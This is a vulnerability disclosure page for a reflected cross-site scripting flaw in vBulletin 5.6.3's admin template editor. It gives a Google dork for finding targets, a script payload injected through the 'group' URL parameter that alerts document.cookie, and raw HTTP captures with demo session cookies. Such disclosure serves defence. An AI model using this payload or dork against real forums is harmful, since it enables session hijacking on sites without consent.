vBulletin 5.6.3 Cross Site Scripting

2020.10.12
Credit: Vincent666
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: vBulletin 5.6.3 Cross Site Scripting # Date:05.09.2020 # Author: Vincent666 ibn Winnie # Software Link: https://www.vbulletin.com/en/features/ # Tested on: Windows 10 # Web Browser: Mozilla Firefox & Opera # Blog : https://pentest-vincent.blogspot.com/ # PoC: https://pentest-vincent.blogspot.com/2020/09/vbulletin-563-cross-site-scripting.html # Google Dorks: "Powered by vBulletin® Version 5.6.3" Go to the "Admin CP" - click on "Styles" - click "Style Manager" - Choose "Denim" or other theme and choose action "Add new template" and click "Go". Put on the title "1" and template "1" and "Save and Reload". Now you can catch the new URL with HTTP Live Headers or with hands. So..we have Url : https://469caffdf16a-041586.demo.vbulletin.net/admincp/template.php?templateid=608&group=&expandset=&searchset=&searchstring=&do=edit&windowScrollTop=168&textareaScrollTop=0 Test it with hands and get cross site scripting. Use for tests different browsers. I use Mozilla Firefox and Opera. https://469caffdf16a-041586.demo.vbulletin.net/admincp/template.php?templateid=1&group=""><script>alert("Cross Site Scripting")</script><script>alert(document.cookie)</script>&expandset=&searchset=&searchstring=&do=edit&windowScrollTop= Picture: https://imgur.com/a/b6gH5Fn Video: https://www.youtube.com/watch?v=J7M-miwj-ps https://469caffdf16a-041586.demo.vbulletin.net/core/clientscript/codemirror/lib/codemirror.js?v=563 Host: 469caffdf16a-041586.demo.vbulletin.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: https://469caffdf16a-041586.demo.vbulletin.net/admincp/template.php?templateid=1&group=%22%22%3E%3Cscript%3Ealert(%22Cross%20Site%20Scripting%22)%3C/script%3E&expandset=&searchset=&searchstring=&do=edit&windowScrollTop= Cookie: vb41586sessionhash=59aae5dd50001c516d71c59cd2043238; vb41586lastvisit=1599290306; vb41586lastactivity=1599294784; PHPSESSID=8a36de42d82550c3b703ff2dfbd2b99ec786b55243861e3b; BIGipServervbdemo-web_POOL=1459677194.20480.0000; vb41586np_notices_displayed=; vb41586cpsession=d16b326f99bd426c0fdd5c6966033ff0; vb41586sitebuilder_active=1; vb41586userstyleid=15 GET: HTTP/1.1 200 OK Date: Sat, 05 Sep 2020 07:58:41 GMT Last-Modified: Wed, 26 Aug 2020 18:26:32 GMT ETag: "47ae7-5adcbf57b0600-gzip" Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: max-age=1209600, private Expires: Sat, 19 Sep 2020 07:58:41 GMT Content-Type: application/javascript --------------------- https://469caffdf16a-041586.demo.vbulletin.net/core/clientscript/vbulletin_templatemgr.js?v=563 Host: 469caffdf16a-041586.demo.vbulletin.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: https://469caffdf16a-041586.demo.vbulletin.net/admincp/template.php?templateid=1&group=%22%22%3E%3Cscript%3Ealert(%22Cross%20Site%20Scripting%22)%3C/script%3E&expandset=&searchset=&searchstring=&do=edit&windowScrollTop= Cookie: vb41586sessionhash=59aae5dd50001c516d71c59cd2043238; vb41586lastvisit=1599290306; vb41586lastactivity=1599294784; PHPSESSID=8a36de42d82550c3b703ff2dfbd2b99ec786b55243861e3b; BIGipServervbdemo-web_POOL=1459677194.20480.0000; vb41586np_notices_displayed=; vb41586cpsession=d16b326f99bd426c0fdd5c6966033ff0; vb41586sitebuilder_active=1; vb41586userstyleid=15 GET: HTTP/1.1 200 OK Date: Sat, 05 Sep 2020 07:25:40 GMT Last-Modified: Wed, 26 Aug 2020 18:26:32 GMT ETag: "221b-5adcbf57b0600-gzip" Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: max-age=1209600, private Expires: Sat, 19 Sep 2020 07:25:40 GMT Content-Length: 4076 Content-Type: application/javascript ---------------------

References:

https://pentest-vincent.blogspot.com/2020/09/vbulletin-563-cross-site-scripting.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top